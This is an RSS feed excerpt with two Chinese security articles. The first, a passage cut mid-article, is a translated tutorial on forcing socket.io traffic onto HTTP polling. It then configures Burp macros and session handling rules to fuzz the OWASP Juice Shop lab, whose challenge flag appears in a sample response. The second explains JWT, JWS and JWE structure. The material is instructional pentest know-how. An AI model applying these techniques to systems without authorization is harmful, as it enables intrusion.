 &lt;p&gt;相反，客户端从服务器收到此修改后的响应，会关闭WebSocket连接。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="18.jpg" height="152" src="https://image.3001.net/images/20181121/1542781845_5bf4fb957047b.jpg!small" width="402"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;我在测试中遇到的一件事是，在将这些匹配和替换规则加入后，客户端在重试WebSocket连接时非常持久，并在我的HTTP历史记录中引起了大量不必要的流量。如果你正在处理socket.io库，则最简单的方法是使用上面的方法1。如果你有不同的库或其他情况，则可能需要添加更多规则来使客户端服务器不支持WebSocket。&lt;/p&gt;
 &lt;h2&gt;将Burp Repeater作为Socket.io客户端&lt;/h2&gt;
 &lt;p&gt;由于我们强制通过HTTP而非WebSockets进行通信，所以现在可以添加自定义匹配并替换将应用于已经通过WebSockets流量的规则！接下来，可以使用Repeater，Intruder和Scanner等工具，这些更改将特定于socket.io库。不过现在还有两个问题：&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;1.每个请求都有一个会话号，任何无效请求都将导致服务器终止该会话&lt;/p&gt;
  &lt;p&gt;2.每个请求的主体都有一个计算字段，表示消息的长度。如果这不正确，服务器会将其视为无效请求并终止会话。&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;以下是应用程序中使用的几个示例URL。&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;   &lt;p&gt;/socket.io/?EIO=3&amp;amp;transport=polling&amp;amp;t=MJJR2dr&lt;/p&gt;   &lt;p&gt;/socket.io/?EIO=3&amp;amp;transport=polling&amp;amp;t=MJJZbUa&amp;amp;sid=iUTykeQQumxFJgEJAABL&lt;/p&gt;&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;URL中的“sid”参数表示到服务器的单个连接流。如果发送了无效消息（在尝试破解时很常见），那么服务器将关闭整个会话，之后必须重新开始新会话。&lt;/p&gt;
 &lt;p&gt;给定请求的主体中含有一个字段，其中存放有效载荷的字节数。这类似于“Content-Length”HTTP header，只不过该字段的值近针对socket.io。例如，如果你要发送的有效载荷是“hello”，那么，相应的主体将是“5：hello”，Content-Length头部的值是7。其中，5表示字符串“hello”中的字母数量，而7则表示字符串“hello”中的字母数量以及socket.io添加到主体内的字符串“5：”中的字母数量之和。与往常一样，Burp将替我们更新Content-Length头部，因此，这件事情我们无需担心。但是，我还没有找到能够自动计算和包含有效载荷长度的好方法。更让人头疼的是，我发现socket.io竟然会在同一个HTTP请求中发送多条消息。由于每个消息都是一个封装后的WebSocket有效载荷，并且每个消息都有自己的长度，因此，最终看起来就像这样：“5:hello,4:john,3:doe”（实际的语法可能有所不同，这里只是便于演示）。计算长度时一旦出错，服务器就会将其作为无效消息拒绝，这样，我们就要重新开始了。&lt;/p&gt;
 &lt;p&gt;这是body的示例。这是Juice-Shop应用程序中的响应，请求的格式相同。注意，这里的“215”表示“：”之后的有效载荷的长度。&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;215:42[“challenge solved”,{“key”:”zeroStarsChallenge”,”name”:”Zero Stars”,”challenge”:”Zero Stars (Give a devastating zero-star feedback to the store.)”,”flag”:”e958569c4a12e3b97f38bd05cac3f0e5a1b17142″,”hidden”:false}]&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;h2&gt;宏&lt;/h2&gt;
 &lt;p&gt;使用Burp宏能解决第一个问题。基本上，每次Burp在服务器拒绝消息时匹配，宏将自动建立新会话并用有效的“sid”更新原始请求。通过转到options-&amp;gt;Sessions-&amp;gt;Macros-&amp;gt;Add来创建新宏。&lt;/p&gt;
 &lt;p&gt;建立新会话的URL只需省略“sid”参数。例如：&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;/socket.io/?EIO=3&amp;amp;transport=polling&amp;amp;t=MJJJ4Ku&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="19.jpg" height="348" src="https://image.3001.net/images/20181121/1542781935_5bf4fbef4b113.jpg!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;服务器响应包含一个全新的“sid”值以供使用。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="20.jpg" height="300" src="https://image.3001.net/images/20181121/1542781957_5bf4fc05b2f72.jpg!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;接下来，单击“Configure item”按钮，并将参数名称命名为“sid”。然后，选择“Extract from regex group”选项，并使用如下所示的正则表达式。&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;&amp;quot;sid&amp;quot;\:&amp;quot;(.*?)&amp;quot;&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="21.jpg" height="427" src="https://image.3001.net/images/20181121/1542781992_5bf4fc2828d3f.jpg!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;这时，配置窗口应如下所示：&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="22.jpg" height="408" src="https://image.3001.net/images/20181121/1542782015_5bf4fc3f486c8.jpg!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h2&gt;会话处理规则&lt;/h2&gt;
 &lt;p&gt;现在有了一个宏，我们需要一种方法来触发它。这就是Burp会话处理规则的用武之地。通过&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;Project options-&amp;gt;Sessions-&amp;gt;Session Handling Rules-&amp;gt;Add&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;为“Check session is valid”创建新的规则动作：&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="23.jpg" height="513" src="https://image.3001.net/images/20181121/1542782052_5bf4fc64a839b.jpg!small" width="677"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;配置新规则操作如下：&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="24.jpg" height="589" src="https://image.3001.net/images/20181121/1542782101_5bf4fc9560297.jpg!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="25.jpg" height="697" src="https://image.3001.net/images/20181121/1542782125_5bf4fcad6ff30.jpg!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;按如下方式配blackhillsinfosec置新规则操作：最后，在完成新规则操作后，还需修改规则的范围。你可以在此处决定要应用此规则的位置。建议至少将它用于Repeater，这样就可以手动重复请求。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="26.jpg" height="186" src="https://image.3001.net/images/20181121/1542782146_5bf4fcc2d82bc.jpg!small" width="554"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;以下是我配置范围规则的方法。你可以更加具体地了解自己所需范围，但下面的选项应该适用于大多数情况。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="27.jpg" height="737" src="https://image.3001.net/images/20181121/1542782176_5bf4fce063423.jpg!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;这是在没有会话处理规则的情况下发出的请求：&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="28.jpg" height="250" src="https://image.3001.net/images/20181121/1542782212_5bf4fd04abbaf.jpg!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;这里是在会话处理规则生效后发出的相同请求：&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="29.jpg" height="209" src="https://image.3001.net/images/20181121/1542782230_5bf4fd1678b9f.jpg!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;*参考来源：   &lt;a href="https://www.blackhillsinfosec.com/how-to-hack-websockets-and-socket-io/"&gt;blackhillsinfosec&lt;/a&gt;，FB小编Covfefe编译，转载请注明来自FreeBuf.COM&lt;/strong&gt;&lt;/p&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>WEB安全 websocket 渗透</category>
      <guid isPermaLink="true">https://itindex.net/detail/59027-%E5%88%86%E6%9E%90-%E6%B8%97%E9%80%8F-websocket</guid>
      <pubDate>Sun, 02 Dec 2018 13:00:07 CST</pubDate>
    </item>
    <item>
      <title>深入了解Json Web Token之概念篇</title>
      <link>https://itindex.net/detail/58629-json-web-token</link>
      <description>&lt;p&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;以下，可能你能够在各大网站上搜到，但是对于JWE 的内容，却鲜有见闻。下文是我读了json web token handle book后，用自己的理解写下的，如有疑问，欢迎评论。主要参考文本   &lt;a href="https://auth0.com/resources/ebooks/jwt-handbook"&gt;JWT Hand Book&lt;/a&gt;，部分文字翻译自该手册。&lt;/strong&gt;&lt;/p&gt;
 &lt;h2&gt;0×00 什么是 JWT&lt;/h2&gt;
 &lt;p&gt;一个JWT，应该是如下形式的：&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.
TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ
&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;这些东西看上很凌乱，但是非常  &lt;strong&gt;紧凑&lt;/strong&gt;，并且是  &lt;strong&gt;可打印的&lt;/strong&gt;主要用于  &lt;strong&gt;验证&lt;/strong&gt;签名的真实性。&lt;/p&gt;
 &lt;h3&gt;JWT 解决什么问题？&lt;/h3&gt;
 &lt;p&gt;JWT的主要目的是在服务端和客户端之间以安全的方式来转移声明。主要的应用场景如下所示：&lt;/p&gt;
 &lt;p&gt;1.认证 Authentication；&lt;/p&gt;
 &lt;p&gt;2.授权 Authorization // 注意这两个单词的区别；&lt;/p&gt;
 &lt;p&gt;3.联合识别；&lt;/p&gt;
 &lt;p&gt;4.客户端会话（无状态的会话）；&lt;/p&gt;
 &lt;p&gt;5.客户端机密。&lt;/p&gt;
 &lt;h3&gt;JWT 的一些名词解释&lt;/h3&gt;
 &lt;p&gt;1.JWS：Signed JWT签名过的jwt&lt;/p&gt;
 &lt;p&gt;2.JWE：Encrypted JWT部分payload经过加密的jwt；&lt;/p&gt;
 &lt;p&gt;目前加密payload的操作不是很普及；&lt;/p&gt;
 &lt;p&gt;3.JWK：JWT的密钥，也就是我们常说的scret；&lt;/p&gt;
 &lt;p&gt;4.JWKset：JWT key set在非对称加密中，需要的是密钥对而非单独的密钥，在后文中会阐释；&lt;/p&gt;
 &lt;p&gt;5.JWA：当前JWT所用到的密码学算法；&lt;/p&gt;
 &lt;p&gt;6.nonsecure JWT：当头部的签名算法被设定为none的时候，该JWT是不安全的；因为签名的部分空缺，所有人都可以修改。&lt;/p&gt;
 &lt;h2&gt;0×01 JWT的组成&lt;/h2&gt;
 &lt;p&gt;一个通常你看到的jwt，由以下三部分组成，它们分别是：&lt;/p&gt;
 &lt;p&gt;1.header：主要声明了JWT的签名算法；&lt;/p&gt;
 &lt;p&gt;2.payload：主要承载了各种声明并传递明文数据；&lt;/p&gt;
 &lt;p&gt;3.signture：拥有该部分的JWT被称为JWS，也就是签了名的JWS；没有该部分的JWT被称为nonsecure JWT 也就是不安全的JWT，此时header中声明的签名算法为none。&lt;/p&gt;
 &lt;p&gt;三个部分用·分割。形如   &lt;code&gt;xxxxx.yyyyy.zzzzz&lt;/code&gt;的样式。&lt;/p&gt;
 &lt;h3&gt;JWT header&lt;/h3&gt;
 &lt;pre&gt;  &lt;code&gt;{
  &amp;quot;typ&amp;quot;: &amp;quot;JWT&amp;quot;,
  &amp;quot;alg&amp;quot;: &amp;quot;none&amp;quot;,
  &amp;quot;jti&amp;quot;: &amp;quot;4f1g23a12aa&amp;quot;
}
&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;  &lt;strong&gt;jwt header 的组成&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;头通常由两部分组成：令牌的类型，即JWT，以及正在使用的散列算法，例如HMAC SHA256或RSA。&lt;/p&gt;
 &lt;p&gt;当然，还有两个可选的部分，一个是jti，也就是JWT ID，代表了正在使用JWT的编号，这个编号在对应服务端应当唯一。当然，jti也可以放在payload中。&lt;/p&gt;
 &lt;p&gt;另一个是cty，也就是content type。这个比较少见，当payload为任意数据的时候，这个头无需设置，但是当内容也带有jwt的时候。也就是嵌套JWT的时候，这个值必须设定为jwt。这种情况比较少见。&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;jwt header 的加密算法&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;加密的方式如下：&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;base64UrlEncode(header)
&amp;gt;&amp;gt; eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIiwianRpIjoiNGYxZzIzYTEyYWEifQ
&lt;/code&gt;&lt;/pre&gt;
 &lt;h3&gt;JWT payload&lt;/h3&gt;
 &lt;pre&gt;  &lt;code&gt;{
  &amp;quot;iss&amp;quot;: &amp;quot;http://shaobaobaoer.cn&amp;quot;,
  &amp;quot;aud&amp;quot;: &amp;quot;http://shaobaobaoer.cn/webtest/jwt_auth/&amp;quot;,
  &amp;quot;jti&amp;quot;: &amp;quot;4f1g23a12aa&amp;quot;,
  &amp;quot;iat&amp;quot;: 1534070547,
  &amp;quot;nbf&amp;quot;: 1534070607,
  &amp;quot;exp&amp;quot;: 1534074147,
  &amp;quot;uid&amp;quot;: 1,
  &amp;quot;data&amp;quot;: {
    &amp;quot;uname&amp;quot;: &amp;quot;shaobao&amp;quot;,
    &amp;quot;uEmail&amp;quot;: &amp;quot;shaobaobaoer@126.com&amp;quot;,
    &amp;quot;uID&amp;quot;: &amp;quot;0xA0&amp;quot;,
    &amp;quot;uGroup&amp;quot;: &amp;quot;guest&amp;quot;
  }
}
&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;  &lt;strong&gt;jwt payload的组成&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;payload通常由三个部分组成，分别是 Registered Claims ; Public Claims ; Private Claims ;每个声明，都有各自的字段。&lt;/p&gt;
 &lt;p&gt;Registered Claims&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;iss  【issuer】发布者的url地址&lt;/p&gt;
  &lt;p&gt;sub 【subject】该JWT所面向的用户，用于处理特定应用，不是常用的字段&lt;/p&gt;
  &lt;p&gt;aud 【audience】接受者的url地址&lt;/p&gt;
  &lt;p&gt;exp 【expiration】 该jwt销毁的时间；unix时间戳&lt;/p&gt;
  &lt;p&gt;nbf  【not before】 该jwt的使用时间不能早于该时间；unix时间戳&lt;/p&gt;
  &lt;p&gt;iat   【issued at】 该jwt的发布时间；unix 时间戳&lt;/p&gt;
  &lt;p&gt;jti    【JWT ID】 该jwt的唯一ID编号&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;Public Claims这些可以由使用JWT的那些标准化组织根据需要定义，应当参考文档  &lt;a href="https://www.iana.org/assignments/jwt/jwt.xhtml"&gt;IANA JSON Web Token Registry&lt;/a&gt;。&lt;/p&gt;
 &lt;p&gt;Private Claims这些是为在同意使用它们的各方之间共享信息而创建的自定义声明，既不是注册声明也不是公开声明。上面的payload中，没有public claims只有private claims。&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;jwt payload 的加密算法&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;加密的方式如下：&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;base64UrlEncode(payload)
&amp;gt;&amp;gt; eyJpc3MiOiJodHRwOi8vc2hhb2Jhb2Jhb2VyLmNuIiwiYXVkIjoiaHR0cDovL3NoYW9iYW9iYW9lci5jbi93ZWJ0ZXN0L2p3dF9hdXRoLyIsImp0aSI6IjRmMWcyM2ExMmFhIiwiaWF0IjoxNTM0MDcwNTQ3LCJuYmYiOjE1MzQwNzA2MDcsImV4cCI6MTUzNDA3NDE0NywidWlkIjoxLCJkYXRhIjp7InVuYW1lIjoic2hhb2JhbyIsInVFbWFpbCI6InNoYW9iYW9iYW9lckAxMjYuY29tIiwidUlEIjoiMHhBMCIsInVHcm91cCI6Imd1ZXN0In19
&lt;/code&gt;&lt;/pre&gt;
 &lt;h3&gt;  &lt;strong&gt;暴露的信息&lt;/strong&gt;&lt;/h3&gt;
 &lt;p&gt;所以，在JWT中，不应该在载荷里面加入任何敏感的数据。在上面的例子中，我们传输的是用户的User ID，邮箱等。这个值实际上不是什么敏感内容，一般情况下被知道也是安全的。但是像密码这样的内容就不能被放在JWT中了。如果将用户的密码放在了JWT中，那么怀有恶意的第三方通过Base64解码就能很快地知道你的密码了。&lt;/p&gt;
 &lt;p&gt;当然，这也是有解决方案的，那就是加密payload。在之后会说到。&lt;/p&gt;
 &lt;h2&gt;0×02  JWS 的概念&lt;/h2&gt;
 &lt;h3&gt;JWS 的结构&lt;/h3&gt;
 &lt;p&gt;JWS ，也就是JWT Signature，其结构就是在之前nonsecure JWT的基础上，在头部声明签名算法，并在最后添加上签名。创建签名，是保证jwt不能被他人随意篡改。&lt;/p&gt;
 &lt;p&gt;为了完成签名，除了用到header信息和payload信息外，还需要算法的密钥，也就是secret。当利用非对称加密方法的时候，这里的secret为私钥。&lt;/p&gt;
 &lt;p&gt;为了方便后文的展开，我们把JWT的密钥或者密钥对，统一称为JSON Web Key，也就是JWK。&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;jwt signature 的签名算法&lt;/strong&gt;&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;RSASSA || ECDSA || HMACSHA256(
  base64UrlEncode(header) + &amp;quot;.&amp;quot; +
  base64UrlEncode(payload),
  secret)
&amp;gt;&amp;gt; GQPGEpixjPZSZ7CmqXB-KIGNzNl4Y86d3XOaRsfiXmQ
&amp;gt;&amp;gt; # 上面这个是用 HMAC SHA256生成的
&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;到目前为止，jwt的签名算法有三种。&lt;/p&gt;
 &lt;p&gt;对称加密HMAC【哈希消息验证码】：HS256/HS384/HS512&lt;/p&gt;
 &lt;p&gt;非对称加密RSASSA【RSA签名算法】（RS256/RS384/RS512）和ECDSA【椭圆曲线数据签名算法】（ES256/ES384/ES512）&lt;/p&gt;
 &lt;p&gt;最后将签名与之前的两段内容用.连接，就可以得到经过签名的JWT，也就是JWS。&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImp0aSI6IjRmMWcyM2ExMmFhIn0.eyJpc3MiOiJodHRwOi8vc2hhb2Jhb2Jhb2VyLmNuIiwiYXVkIjoiaHR0cDovL3NoYW9iYW9iYW9lci5jbi93ZWJ0ZXN0L2p3dF9hdXRoLyIsImp0aSI6IjRmMWcyM2ExMmFhIiwiaWF0IjoxNTM0MDcwNTQ3LCJuYmYiOjE1MzQwNzA2MDcsImV4cCI6MTUzNDA3NDE0NywidWlkIjoxLCJkYXRhIjp7InVuYW1lIjoic2hhb2JhbyIsInVFbWFpbCI6InNoYW9iYW9iYW9lckAxMjYuY29tIiwidUlEIjoiMHhBMCIsInVHcm91cCI6Imd1ZXN0In19.GQPGEpixjPZSZ7CmqXB-KIGNzNl4Y86d3XOaRsfiXmQ
&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;当验证签名的时候，利用公钥或者密钥来解密Sign，和 base64UrlEncode(header) + “.” + base64UrlEncode(payload) 的内容完全一样的时候，表示验证通过。&lt;/p&gt;
 &lt;h3&gt;JWS 的额外头部声明&lt;/h3&gt;
 &lt;p&gt;如果对于CA有些概念的话，这些内容会比较好理解一些。为了确保服务器的密钥对可靠有效，同时也方便第三方CA机构来签署JWT而非本机服务器签署JWT，对于JWS的头部，可以有额外的声明，以下声明是可选的，具体取决于JWS的使用方式。如下所示：&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;jku: 发送JWK的地址；最好用HTTPS来传输&lt;/p&gt;
  &lt;p&gt;jwk: 就是之前说的JWK&lt;/p&gt;
  &lt;p&gt;kid: jwk的ID编号&lt;/p&gt;
  &lt;p&gt;x5u: 指向一组X509公共证书的URL&lt;/p&gt;
  &lt;p&gt;x5c: X509证书链&lt;/p&gt;
  &lt;p&gt;x5t：X509证书的SHA-1指纹&lt;/p&gt;
  &lt;p&gt;x5t#S256: X509证书的SHA-256指纹&lt;/p&gt;
  &lt;p&gt;typ: 在原本未加密的JWT的基础上增加了 JOSE 和 JOSE+ JSON。JOSE序列化后文会说及。适用于JOSE标头的对象与此JWT混合的情况。&lt;/p&gt;
  &lt;p&gt;crit: 字符串数组，包含声明的名称，用作实现定义的扩展，必须由 this-&amp;gt;JWT的解析器处理。不常见。&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;h3&gt;多重验证与JWS序列化&lt;/h3&gt;
 &lt;p&gt;当需要多重签名或者JOSE表头的对象与JWS混合的时候，往往需要用到JWS的序列化。JWS的序列化结构如下所示:&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;{
    &amp;quot;payload&amp;quot;: &amp;quot;eyJpc3MiOiJqb2UiLA0KICJleHAiOjEzMDA4MTkzODAsDQogImh0dHA6Ly9leGFtcGxlLmNvbS9pc19yb290Ijp0cnVlfQ&amp;quot;,
&amp;quot;signatures&amp;quot;: 
    [
        {
            &amp;quot;protected&amp;quot;: &amp;quot;eyJhbGciOiJSUzI1NiJ9&amp;quot;,
            &amp;quot;header&amp;quot;: { &amp;quot;kid&amp;quot;: &amp;quot;2010-12-29&amp;quot; },
            &amp;quot;signature&amp;quot;:&amp;quot;signature1&amp;quot;
        },
        {
            &amp;quot;protected&amp;quot;: &amp;quot;eyJhbGciOiJSUzI1NiJ9&amp;quot;,
            &amp;quot;header&amp;quot;: { &amp;quot;kid&amp;quot;: &amp;quot;e9bc097a-ce51-4036-9562-d2ade882db0d&amp;quot; },
            &amp;quot;signature&amp;quot;:&amp;quot;signature2&amp;quot;
        },
        ...
    ]
}
&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;结构很容易理解。首先是payload字段，这个不用多讲，之后是signatures字段，这是一个数组，代表着多个签名。每个签名的结构如下：&lt;/p&gt;
 &lt;p&gt;protected：之前的头部声明，利用b64uri加密；&lt;/p&gt;
 &lt;p&gt;header：JWS的额外声明，这段内容不会放在签名之中，无需验证；&lt;/p&gt;
 &lt;p&gt;signature：也就是对当前header+payload的签名。&lt;/p&gt;
 &lt;h2&gt;0×03 JWE 相关概念&lt;/h2&gt;
 &lt;blockquote&gt;  &lt;p&gt;JWE是一个很新的概念，总之，除了jwt的官方手册外，很少有网站或者博客会介绍这个东西。也并非所有的库都支持JWE。这里记录一下自己看官方手册后理解下来的东西。&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;JWS是去验证数据的，而JWE（JSON Web Encryption）是保护数据不被第三方的人看到的。通过JWE，JWT变得更加安全。&lt;/p&gt;
 &lt;p&gt;JWE和JWS的公钥私钥方案不相同，JWS中，私钥持有者加密令牌，公钥持有者验证令牌。而JWE中，私钥一方应该是唯一可以解密令牌的一方。&lt;/p&gt;
 &lt;p&gt;在JWE中，公钥持有可以将新的数据放入JWT中，但是JWS中，公钥持有者只能验证数据，不能引入新的数据。因此，对于公钥/私钥的方案而言，JWS和JWE是互补的。&lt;/p&gt;
 &lt;table&gt;



    

  &lt;tr&gt;
   &lt;th&gt; &lt;/th&gt;
   &lt;th&gt;JWS&lt;/th&gt;
   &lt;th&gt;JWE&lt;/th&gt;
&lt;/tr&gt;


  &lt;tr&gt;
   &lt;td&gt;producer&lt;/td&gt;
   &lt;td&gt;pri_key&lt;/td&gt;
   &lt;td&gt;pub_key&lt;/td&gt;
&lt;/tr&gt;
  &lt;tr&gt;
   &lt;td&gt;consumer&lt;/td&gt;
   &lt;td&gt;pub_key&lt;/td&gt;
   &lt;td&gt;pri_key&lt;/td&gt;
&lt;/tr&gt;

&lt;/table&gt;
 &lt;h3&gt;JWE 的构成&lt;/h3&gt;
 &lt;p&gt;一个JWE，应该是如下形式的：&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;eyJhbGciOiJSU0ExXzUiLCJlbmMiOiJBMTI4Q0JDLUhTMjU2In0.
UGhIOguC7IuEvf_NPVaXsGMoLOmwvc1GyqlIKOK1nN94nHPoltGRhWhw7Zx0-kFm1NJn8LE9XShH59_
i8J0PH5ZZyNfGy2xGdULU7sHNF6Gp2vPLgNZ__deLKxGHZ7PcHALUzoOegEI-8E66jX2E4zyJKxYxzZIItRzC5hlRirb6Y5Cl_p-ko3YvkkysZIFNPccxRU7qve1WYPxqbb2Yw8kZqa2rMWI5ng8Otv
zlV7elprCbuPhcCdZ6XDP0_F8rkXds2vE4X-ncOIM8hAYHHi29NX0mcKiRaD0-D-ljQTPcFPgwCp6X-nZZd9OHBv-B3oWh2TbqmScqXMR4gp_A.
AxY8DCtDaGlsbGljb3RoZQ.
KDlTtXchhZTGufMYmOYGS4HffxPSUrfmqCHXaI9wOGY.
9hH0vgRfYgPnAHOd8stkvw
&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;如你所见JWE一共有五个部分，分别是：&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;The protected header，类似于JWS的头部；&lt;/p&gt;
  &lt;p&gt;The encrypted key，用于加密密文和其他加密数据的对称密钥；&lt;/p&gt;
  &lt;p&gt;The initialization vector，初始IV值，有些加密方式需要额外的或者随机的数据；&lt;/p&gt;
  &lt;p&gt;The encrypted data (cipher text)，密文数据；&lt;/p&gt;
  &lt;p&gt;The authentication tag，由算法产生的附加数据，来防止密文被篡改。&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;h3&gt;JWE 密钥加密算法&lt;/h3&gt;
 &lt;p&gt;一般来说，JWE需要对密钥进行加密，这就意味着同一个JWT中至少有两种加密算法在起作用。但是并非将密钥拿来就能用，我们需要对密钥进行加密后，利用JWK密钥管理模式来导出这些密钥。JWK的管理模式有以下五种，分别是：&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;Key Encryption&lt;/p&gt;
  &lt;p&gt;Key Wrapping&lt;/p&gt;
  &lt;p&gt;Direct Key Agreement&lt;/p&gt;
  &lt;p&gt;Key Agreement with Key Wrapping&lt;/p&gt;
  &lt;p&gt;Direct Encryption&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;并不是所有的JWA都能够支持这五种密钥管理管理模式，也并非每种密钥管理模式之间都可以相互转换。可以参考  &lt;a href="https://github.com/Spomky-Labs/jose/blob/master/doc/operation/Encrypt.md"&gt;Spomky-Labs/jose中给出的表格&lt;/a&gt;至于各个密钥管理模式的细节，还请看JWT的官方手册，解释起来较为复杂。&lt;/p&gt;
 &lt;h3&gt;JWE Header&lt;/h3&gt;
 &lt;p&gt;就好像是JWS的头部一样。JWE的头部也有着自己规定的额外声明字段，如下所示：&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;type：一般是 jwt&lt;/p&gt;
  &lt;p&gt;alg：算法名称，和JWS相同，该算法用于加密稍后用于加密内容的实际密钥&lt;/p&gt;
  &lt;p&gt;enc：算法名称，用上一步生成的密钥加密内容的算法。&lt;/p&gt;
  &lt;p&gt;zip：加密前压缩数据的算法。该参数可选，如果不存在则不执行压缩，通常的值为 DEF，也就是   &lt;a href="https://tools.ietf.org/html/rfc1951"&gt;deflate算法&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;jku/jkw/kid/x5u/x5c/x5t/x5t#S256/typ/cty/crit：和JWS额额外声明一样。&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;h3&gt;JWE 的加密过程&lt;/h3&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;步骤2和步骤3，更具不同的密钥管理模式，应该有不同的处理方式。在此只罗列一些通常情况。&lt;/p&gt;
 &lt;p&gt;之前谈及，JWE一共有五个部分。现在来详细说一下加密的过程：&lt;/p&gt;
 &lt;p&gt;1.根据头部alg的声明，生成一定大小的随机数；&lt;/p&gt;
 &lt;p&gt;2.根据密钥管理模式确定加密密钥；&lt;/p&gt;
 &lt;p&gt;3.根据密钥管理模式确定JWE加密密钥，得到CEK；&lt;/p&gt;
 &lt;p&gt;4.计算初始IV，如果不需要，跳过此步骤；&lt;/p&gt;
 &lt;p&gt;5.如果ZIP头申明了，则压缩明文；&lt;/p&gt;
 &lt;p&gt;6.使用CEK，IV和附加认证数据，通过enc头声明的算法来加密内容，结果为加密数据和认证标记；&lt;/p&gt;
 &lt;p&gt;7.压缩内容，返回token。&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;   &lt;p&gt;base64(header) + &amp;apos;.&amp;apos; +&lt;/p&gt;   &lt;p&gt;base64(encryptedKey) + &amp;apos;.&amp;apos; + // Steps 2 and 3&lt;/p&gt;   &lt;p&gt;base64(initializationVector) + &amp;apos;.&amp;apos; + // Step 4&lt;/p&gt;   &lt;p&gt;base64(ciphertext) + &amp;apos;.&amp;apos; + // Step 6&lt;/p&gt;   &lt;p&gt;base64(authenticationTag) // Step 6&lt;/p&gt;&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
